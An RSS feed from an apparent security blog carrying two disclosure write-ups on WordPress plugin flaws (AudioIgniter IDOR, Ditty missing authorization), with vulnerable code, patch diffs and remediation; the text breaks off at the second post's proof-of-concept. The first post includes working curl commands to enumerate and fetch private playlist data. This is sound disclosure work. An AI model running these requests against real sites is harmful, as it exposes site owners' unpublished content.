<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss/style.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Abu Hurayra</title><description>Security engineer and SDET. Writing about application security, test automation, and the open-source web.</description><link>https://hurayraiit.com/</link><language>en</language><managingEditor>hello@hurayraiit.com (Abu Hurayra)</managingEditor><webMaster>hello@hurayraiit.com (Abu Hurayra)</webMaster><copyright>© 2026 Abu Hurayra</copyright><image><url>https://hurayraiit.com/og-image.png</url><title>Abu Hurayra</title><link>https://hurayraiit.com/</link></image><atom:link href="https://hurayraiit.com/rss.xml" rel="self" type="application/rss+xml"/><item><title>CVE-2026-8679: AudioIgniter IDOR Exposes Private Playlist Data (CVSS 7.5)</title><link>https://hurayraiit.com/blog/cve-2026-8679-audioigniter-unauthenticated-idor-playlist-data-exposure/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-8679-audioigniter-unauthenticated-idor-playlist-data-exposure/</guid><description>CVE-2026-8679 is a CVSS 7.5 High severity Unauthenticated IDOR in AudioIgniter Music Player &lt;= 2.0.2 that lets any visitor read private, draft, or trashed playlist track metadata.</description><pubDate>Sun, 24 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-8679&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.5 (High)&lt;/strong&gt; Unauthenticated Insecure Direct Object Reference (IDOR) vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/audioigniter/&quot;&gt;AudioIgniter Music Player&lt;/a&gt; WordPress plugin. An unauthenticated attacker can request full track metadata — audio URLs, download links, artist names, and cover images — for any playlist on the site, including those in draft, private, pending, or trash status. All versions up to and including 2.0.2 are affected. Version 2.0.3 contains the fix.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AudioIgniter Music Player&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;audioigniter&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8679&quot;&gt;CVE-2026-8679&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.5 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Insecure Direct Object Reference&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/audioigniter.2.0.2.zip&quot;&gt;&amp;lt;= 2.0.2&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/audioigniter.2.0.3.zip&quot;&gt;2.0.3&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 21, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researchers&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nudien-udin&quot;&gt;nudien udin&lt;/a&gt;, &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nudien-udin-2&quot;&gt;nudien&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/audioigniter/audioigniter-music-player-202-unauthenticated-insecure-direct-object-reference-to-audioigniter-playlist-id-parameter&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The AudioIgniter Music Player plugin registers a public JSON endpoint so its React-based player can fetch track data. This endpoint accepts a user-supplied playlist ID through the &lt;code&gt;audioigniter_playlist_id&lt;/code&gt; query parameter or the &lt;code&gt;/audioigniter/playlist/{id}/&lt;/code&gt; URL rewrite rule. In versions up to and including 2.0.2, the handler that serves this endpoint checks only that the requested post is an AudioIgniter playlist — it does not check whether the caller is authenticated, whether the caller has permission to read the post, or whether the playlist has a public status.&lt;/p&gt;
&lt;p&gt;Because of this, any visitor can supply any valid post ID and receive the full track listing for that playlist — even if the site owner has saved it as a draft, set it to private, put it in a pending review queue, or moved it to trash.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Hook Registration and Endpoint Setup&lt;/h3&gt;
&lt;p&gt;The plugin registers the endpoint in two places. First, &lt;code&gt;register_playlist_endpoint()&lt;/code&gt; adds a WordPress rewrite tag and rule:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// audioigniter.php — Line 1255–1258 (version 2.0.2)
public function register_playlist_endpoint() {
    add_rewrite_tag( &apos;%audioigniter_playlist_id%&apos;, &apos;([0-9]+)&apos; );
    add_rewrite_rule( &apos;^audioigniter/playlist/([0-9]+)/?&apos;, &apos;index.php?audioigniter_playlist_id=$matches[1]&apos;, &apos;bottom&apos; );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Second, when a page loads, the player widget outputs the endpoint URL directly in the HTML markup via &lt;code&gt;data-tracks-url&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// audioigniter.php — Line 1171 (version 2.0.2)
&apos;data-tracks-url&apos; =&amp;gt; add_query_arg( array( &apos;audioigniter_playlist_id&apos; =&amp;gt; $post_id ), home_url( &apos;/&apos; ) ),
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means any public page that embeds a playlist player leaks the exact endpoint URL for that playlist — including the playlist&apos;s post ID — inside the rendered HTML.&lt;/p&gt;
&lt;h3&gt;The Vulnerable Handler&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;handle_playlist_endpoint()&lt;/code&gt; function is hooked to &lt;code&gt;template_redirect&lt;/code&gt;, which runs on every front-end page load. When WordPress detects the &lt;code&gt;audioigniter_playlist_id&lt;/code&gt; query var, the function runs and returns track data:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// audioigniter.php — Lines 1260–1316 (version 2.0.2)
public function handle_playlist_endpoint() {
    global $wp_query;

    $playlist_id = $wp_query-&amp;gt;get( &apos;audioigniter_playlist_id&apos; );

    if ( empty( $playlist_id ) ) {
        return;
    }

    $playlist_id = intval( $playlist_id );
    $post        = get_post( $playlist_id );

    // ⚠️ Only checks post_type — no auth check, no capability check, no post_status check
    if ( empty( $post ) || $post-&amp;gt;post_type !== $this-&amp;gt;post_type ) {
        wp_send_json_error( __( &quot;ID doesn&apos;t match a playlist&quot;, &apos;audioigniter&apos; ) );
    }

    $response = array();
    $tracks   = $this-&amp;gt;get_post_meta( $playlist_id, &apos;_audioigniter_tracks&apos;, array() );

    foreach ( $tracks as $track ) {
        $track_response[&apos;title&apos;]       = $track[&apos;title&apos;];
        $track_response[&apos;subtitle&apos;]    = $track[&apos;artist&apos;];
        $track_response[&apos;audio&apos;]       = $track[&apos;track_url&apos;];
        $track_response[&apos;buyUrl&apos;]      = $track[&apos;buy_link&apos;];
        $track_response[&apos;downloadUrl&apos;] = ...; // direct file URL
        $track_response[&apos;cover&apos;]       = $cover_url;
        $response[] = $track_response;
    }

    wp_send_json( $response ); // Returns full JSON to any caller
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The root cause is a missing access control check. The function validates only &lt;code&gt;$post-&amp;gt;post_type&lt;/code&gt;, which confirms the post is an AudioIgniter playlist. It does not call &lt;code&gt;is_user_logged_in()&lt;/code&gt;, &lt;code&gt;current_user_can()&lt;/code&gt;, or check &lt;code&gt;$post-&amp;gt;post_status&lt;/code&gt;. Any integer ID that resolves to a playlist post — regardless of status — returns a complete JSON payload with all track data.&lt;/p&gt;
&lt;h3&gt;What the Attacker Receives&lt;/h3&gt;
&lt;p&gt;A successful exploit returns a JSON array. Each object contains:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;title&lt;/code&gt; — track title&lt;/li&gt;
&lt;li&gt;&lt;code&gt;subtitle&lt;/code&gt; — artist name&lt;/li&gt;
&lt;li&gt;&lt;code&gt;audio&lt;/code&gt; — direct URL to the audio file&lt;/li&gt;
&lt;li&gt;&lt;code&gt;buyUrl&lt;/code&gt; — external purchase link&lt;/li&gt;
&lt;li&gt;&lt;code&gt;downloadUrl&lt;/code&gt; — direct URL to the downloadable file&lt;/li&gt;
&lt;li&gt;&lt;code&gt;downloadFilename&lt;/code&gt; — the filename of the download&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cover&lt;/code&gt; — URL to the cover image&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is the same data the player uses in production. An attacker who obtains these URLs can stream or download audio files that the site owner intended to keep private.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive purposes only. Only test against systems you own or have written permission to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt; AudioIgniter Music Player version &amp;lt;= 2.0.2 installed and activated. At least one playlist exists in any non-published status (draft, private, pending, or trash).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Identify a playlist ID.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can enumerate post IDs by incrementing integers. Alternatively, any page that embeds a published playlist player exposes the ID in the HTML source — look for &lt;code&gt;data-tracks-url&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Find the endpoint URL embedded in a page&apos;s source
curl -s &quot;https://example.com/some-page/&quot; | grep -o &apos;audioigniter_playlist_id=[0-9]*&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you know one published playlist ID, you can guess nearby IDs to find drafts or private playlists.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Request a draft or private playlist.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Replace &lt;code&gt;&amp;lt;ID&amp;gt;&lt;/code&gt; with the target playlist&apos;s post ID:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Using the query parameter form
curl -s &quot;https://example.com/?audioigniter_playlist_id=&amp;lt;ID&amp;gt;&quot;

# Using the pretty URL rewrite rule
curl -s &quot;https://example.com/audioigniter/playlist/&amp;lt;ID&amp;gt;/&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — Observe the response.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A successful exploit returns a JSON array of track objects, for example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[
  {
    &quot;title&quot;: &quot;Unreleased Track&quot;,
    &quot;subtitle&quot;: &quot;Artist Name&quot;,
    &quot;audio&quot;: &quot;https://example.com/wp-content/uploads/unreleased.mp3&quot;,
    &quot;buyUrl&quot;: &quot;https://shop.example.com/buy&quot;,
    &quot;downloadUrl&quot;: &quot;https://example.com/wp-content/uploads/unreleased.mp3&quot;,
    &quot;downloadFilename&quot;: &quot;unreleased.mp3&quot;,
    &quot;cover&quot;: &quot;https://example.com/wp-content/uploads/cover.jpg&quot;
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The attacker now has a direct link to stream or download the audio file from a playlist the site owner never published.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Verification:&lt;/strong&gt; Confirm the targeted playlist is in draft or private status from the WordPress admin (&lt;code&gt;/wp-admin/edit.php?post_type=ai_playlist&lt;/code&gt;) and compare the returned track data.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;Version 2.0.3 adds two access-control checks immediately after the existing post type check in &lt;code&gt;handle_playlist_endpoint()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// audioigniter.php — Lines 1273–1285 (patched diff)
 if ( empty( $post ) || $post-&amp;gt;post_type !== $this-&amp;gt;post_type ) {
     wp_send_json_error( __( &quot;ID doesn&apos;t match a playlist&quot;, &apos;audioigniter&apos; ) );
 }
+if ( ( ! is_user_logged_in() &amp;amp;&amp;amp; &apos;publish&apos; !== $post-&amp;gt;post_status ) ||
+    ( is_user_logged_in() &amp;amp;&amp;amp; ! current_user_can( &apos;read_post&apos;, $playlist_id ) )
+) {
+    wp_send_json_error( __( &apos;Sorry, you are not allowed to access this playlist.&apos;, &apos;audioigniter&apos; ) );
+}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The logic is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;For unauthenticated visitors:&lt;/strong&gt; only playlists with &lt;code&gt;post_status === &apos;publish&apos;&lt;/code&gt; are served. Any other status (draft, private, pending, trash) results in a JSON error.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For logged-in users:&lt;/strong&gt; the WordPress capability &lt;code&gt;read_post&lt;/code&gt; is checked for the specific playlist ID. This respects WordPress&apos;s built-in access control — only users who can legitimately read the post receive the data.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The patch also adds equivalent protection in the shortcode handler, which renders the player widget:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+if ( $post-&amp;gt;post_status == &apos;trash&apos; ||
+     ( ! is_user_logged_in() &amp;amp;&amp;amp; &apos;publish&apos; !== $post-&amp;gt;post_status ) ||
+     ( is_user_logged_in() &amp;amp;&amp;amp; ! current_user_can( &apos;read_post&apos;, $id ) ) ) {
+    return &apos;&apos;;
+}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This prevents the player from even rendering — and therefore from leaking the endpoint URL — for playlists the current user should not see.&lt;/p&gt;
&lt;p&gt;The fix addresses the root cause. Before the patch, any playlist ID returned data. After the patch, the endpoint enforces the same visibility rules that WordPress applies to posts everywhere else on the site.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 21, 2026&lt;/td&gt;
&lt;td&gt;Wordfence publicly published the advisory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 22, 2026&lt;/td&gt;
&lt;td&gt;Advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 24, 2026&lt;/td&gt;
&lt;td&gt;This blog post published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update AudioIgniter Music Player to &lt;strong&gt;version 2.0.3 or later&lt;/strong&gt; immediately. You can update from the WordPress admin under &lt;strong&gt;Plugins → Installed Plugins&lt;/strong&gt;, or download the latest version from &lt;a href=&quot;https://wordpress.org/plugins/audioigniter/&quot;&gt;wordpress.org/plugins/audioigniter&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you cannot update right away, consider temporarily deactivating the plugin to stop the endpoint from responding. Do not rely on obscurity — playlist IDs are easily guessable by incrementing integers, and some are already embedded in public page source.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/audioigniter/audioigniter-music-player-202-unauthenticated-insecure-direct-object-reference-to-audioigniter-playlist-id-parameter&quot;&gt;Wordfence Advisory — CVE-2026-8679&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8679&quot;&gt;CVE Record — CVE-2026-8679&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/audioigniter/tags/2.0.2/audioigniter.php#L1315&quot;&gt;Vulnerable code — audioigniter.php#L1315&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/audioigniter/tags/2.0.2/audioigniter.php#L1263&quot;&gt;Vulnerable code — audioigniter.php#L1263&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/audioigniter/tags/2.0.2/audioigniter.php#L1257&quot;&gt;Vulnerable code — audioigniter.php#L1257&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/cssigniter/audioigniter/commit/35a0508583c26c01b6ac446404ad6fe1d440d8d4&quot;&gt;GitHub patch commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/audioigniter/&quot;&gt;AudioIgniter Music Player on WordPress.org&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-24T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-9011: Ditty Plugin Exposes Non-Public Content to Anyone (CVSS 7.5)</title><link>https://hurayraiit.com/blog/cve-2026-9011-ditty-unauthenticated-information-disclosure/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-9011-ditty-unauthenticated-information-disclosure/</guid><description>CVE-2026-9011 is a CVSS 7.5 (High) Missing Authorization vulnerability in the Ditty WordPress plugin that lets anyone read non-public Ditty content.</description><pubDate>Sun, 24 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-9011&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.5 (High)&lt;/strong&gt; Missing Authorization vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/ditty-news-ticker/&quot;&gt;Ditty – Responsive News Tickers, Sliders, and Lists&lt;/a&gt; WordPress plugin. Any unauthenticated visitor can read the full content of non-public Dittys — including drafts, scheduled announcements, and disabled entries — by sending a crafted AJAX request with an integer post ID.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ditty – Responsive News Tickers, Sliders, and Lists&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ditty-news-ticker&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9011&quot;&gt;CVE-2026-9011&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.5 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Missing Authorization to Unauthenticated Sensitive Information Disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/ditty-news-ticker.3.1.65.zip&quot;&gt;&amp;lt;= 3.1.65&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/ditty-news-ticker.3.1.66.zip&quot;&gt;3.1.66&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 21, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/md-moniruzzaman-prodhan&quot;&gt;Md. Moniruzzaman Prodhan (NomanProdhan) - Knight Squad&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ditty-news-ticker/ditty-3165-missing-authorization-to-unauthenticated-sensitive-information-disclosure-via-ditty-init-ajax-action&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Ditty plugin registers a front-end AJAX action called &lt;code&gt;ditty_init&lt;/code&gt;. This action loads and returns the full content of a Ditty (a news ticker or list) when given a post ID.&lt;/p&gt;
&lt;p&gt;The plugin also has a non-AJAX version of the same logic. That non-AJAX path checks whether the requested Ditty has a &lt;code&gt;publish&lt;/code&gt; post status before returning anything. The AJAX path does not.&lt;/p&gt;
&lt;p&gt;Because of this missing check, any unauthenticated attacker can call the AJAX endpoint and retrieve items from Dittys in any status — draft, pending, scheduled, or disabled. The attacker only needs a valid nonce, which the plugin embeds in the HTML of every page that shows a Ditty widget.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Hook Registration&lt;/h3&gt;
&lt;p&gt;The vulnerability starts in &lt;code&gt;includes/class-ditty-singles.php&lt;/code&gt;, in the class constructor:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Line 32
add_action( &apos;wp_ajax_ditty_init&apos;, array( $this, &apos;init_ajax&apos; ) );
// Line 33
add_action( &apos;wp_ajax_nopriv_ditty_init&apos;, array( $this, &apos;init_ajax&apos; ) );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;nopriv&lt;/code&gt; suffix on line 33 tells WordPress to call &lt;code&gt;init_ajax()&lt;/code&gt; for visitors who are &lt;strong&gt;not logged in&lt;/strong&gt;. This is correct for a widget that needs to load published content on the front end. The problem is that &lt;code&gt;init_ajax()&lt;/code&gt; does not restrict its response to published content.&lt;/p&gt;
&lt;h3&gt;Nonce Exposed to All Visitors&lt;/h3&gt;
&lt;p&gt;The plugin&apos;s script loader (&lt;code&gt;includes/class-ditty-scripts.php&lt;/code&gt;) hooks into &lt;code&gt;wp_enqueue_scripts&lt;/code&gt;, which runs on every front-end page load. It generates a nonce and embeds it in the page HTML:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Line 461–463
wp_add_inline_script( &apos;ditty&apos;, &apos;const dittyVars = &apos; . json_encode( apply_filters( &apos;dittyVars&apos;, array(
    &apos;ajaxurl&apos;  =&amp;gt; admin_url( &apos;admin-ajax.php&apos; ),
    &apos;security&apos; =&amp;gt; wp_create_nonce( &apos;ditty&apos; ),   // &amp;lt;-- embedded for all visitors
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This outputs a JavaScript block like the following on every page that has a Ditty widget:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const dittyVars = {&quot;ajaxurl&quot;:&quot;\/wp-admin\/admin-ajax.php&quot;,&quot;security&quot;:&quot;abc123def456&quot;,...};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any unauthenticated visitor can load the page, read the source, and extract the &lt;code&gt;security&lt;/code&gt; value. The nonce is valid for 24 hours.&lt;/p&gt;
&lt;h3&gt;The Vulnerable &lt;code&gt;init_ajax()&lt;/code&gt; Function&lt;/h3&gt;
&lt;p&gt;The AJAX handler at line 220 of &lt;code&gt;class-ditty-singles.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function init_ajax() {
    check_ajax_referer( &apos;ditty&apos;, &apos;security&apos; );   // Line 221 — nonce check only, NOT auth

    $id_ajax = isset( $_POST[&apos;id&apos;] ) ? intval( $_POST[&apos;id&apos;] ) : false;   // Line 222
    // ... other params ...

    // Line 257 — reads status but never acts on it
    $status = get_post_status( $id_ajax );

    // Line 266 — loads ALL items for any Ditty, regardless of status
    $items = $this-&amp;gt;get_display_items( $id_ajax, &apos;cache&apos;, $custom_layout_settings_ajax );

    $args[&apos;status&apos;] = $status;   // status included in response but not checked
    $args[&apos;items&apos;]  = $items;    // full content returned unconditionally

    wp_send_json( $data );       // Line 279 — response sent
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The key problem: &lt;code&gt;$status&lt;/code&gt; is read on line 257 and included in the response, but there is no &lt;code&gt;if&lt;/code&gt; statement that stops execution when the status is not &lt;code&gt;publish&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Comparison with the Non-AJAX Path&lt;/h3&gt;
&lt;p&gt;The non-AJAX &lt;code&gt;init()&lt;/code&gt; method in the same file (line 288) has the correct check:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function init( $atts ) {
    $ditty_id = $atts[&apos;data-id&apos;];

    // Line 300–302 — this check is MISSING from init_ajax()
    if ( &apos;publish&apos; != get_post_status( $ditty_id ) ) {
        return false;
    }
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The non-AJAX path blocks execution for non-published Dittys. The AJAX path does not. This inconsistency is the root cause.&lt;/p&gt;
&lt;h3&gt;Why the Nonce Does Not Provide Protection&lt;/h3&gt;
&lt;p&gt;A WordPress nonce is a CSRF token. It proves that a request originated from a specific browser session, not that the user is authenticated. For logged-out users, WordPress generates valid nonces tied to the visitor&apos;s session for up to 24 hours.&lt;/p&gt;
&lt;p&gt;In this case:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The nonce is embedded in the HTML of public pages.&lt;/li&gt;
&lt;li&gt;Any visitor — logged in or not — can read it.&lt;/li&gt;
&lt;li&gt;There is no &lt;code&gt;is_user_logged_in()&lt;/code&gt; or &lt;code&gt;current_user_can()&lt;/code&gt; check in &lt;code&gt;init_ajax()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because the nonce is publicly available, passing &lt;code&gt;check_ajax_referer()&lt;/code&gt; here provides no real access control.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is for authorized security testing and educational purposes only. Do not test against sites you do not own or have explicit permission to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ditty plugin version &amp;lt;= 3.1.65 installed and active&lt;/li&gt;
&lt;li&gt;At least one Ditty widget on a publicly accessible page&lt;/li&gt;
&lt;li&gt;One or more non-public Dittys exist (draft, pending, scheduled, or disabled)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Extract the nonce from the front-end page:&lt;/strong&gt;&lt;/p&gt;
